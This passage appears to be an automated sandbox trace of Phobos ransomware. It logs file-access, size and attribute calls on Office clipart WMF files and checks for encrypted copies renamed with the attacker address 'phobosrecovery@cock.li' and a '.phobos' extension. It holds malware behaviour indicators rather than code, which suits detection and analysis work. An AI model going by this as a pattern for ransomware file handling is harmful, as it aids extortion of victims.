Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.442] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.442] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20444) returned 1 [0150.443] CloseHandle (hObject=0x564) returned 1 [0150.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220 [0150.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.443] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.445] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9400) returned 1 [0150.445] CloseHandle (hObject=0x564) returned 1 [0150.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220 [0150.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.452] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.452] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6244) returned 1 [0150.452] CloseHandle (hObject=0x564) returned 1 [0150.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220 [0150.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.453] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.454] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18728) returned 1 [0150.454] CloseHandle (hObject=0x564) returned 1 [0150.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220 [0150.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.455] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.455] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5156) returned 1 [0150.456] CloseHandle (hObject=0x564) returned 1 [0150.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220 [0150.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.456] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.457] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5472) returned 1 [0150.457] CloseHandle (hObject=0x564) returned 1 [0150.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220 [0150.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.459] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.459] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4148) returned 1 [0150.459] CloseHandle (hObject=0x564) returned 1 [0150.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220 [0150.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.460] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.461] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2912) returned 1 [0150.461] CloseHandle (hObject=0x564) returned 1 [0150.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220 [0150.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.461] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.463] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31812) returned 1 [0150.463] CloseHandle (hObject=0x564) returned 1 [0150.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220 [0150.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.464] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.465] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17332) returned 1 [0150.465] CloseHandle (hObject=0x564) returned 1 [0150.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220 [0150.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.466] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.466] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7384) returned 1 [0150.466] CloseHandle (hObject=0x564) returned 1 [0150.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220 [0150.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.467] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.469] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=21548) returned 1 [0150.469] CloseHandle (hObject=0x564) returned 1 [0150.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220 [0150.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.470] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.470] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8680) returned 1 [0150.470] CloseHandle (hObject=0x564) returned 1 [0150.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 0x220 [0150.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.471] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.472] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10364) returned 1 [0150.472] CloseHandle (hObject=0x564) returned 1 [0150.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220 [0150.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.473] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.473] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13808) returned 1 [0150.474] CloseHandle (hObject=0x564) returned 1 [0150.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220 [0150.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.474] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.476] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8240) returned 1 [0150.476] CloseHandle (hObject=0x564) returned 1 [0150.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220 [0150.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.478] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, 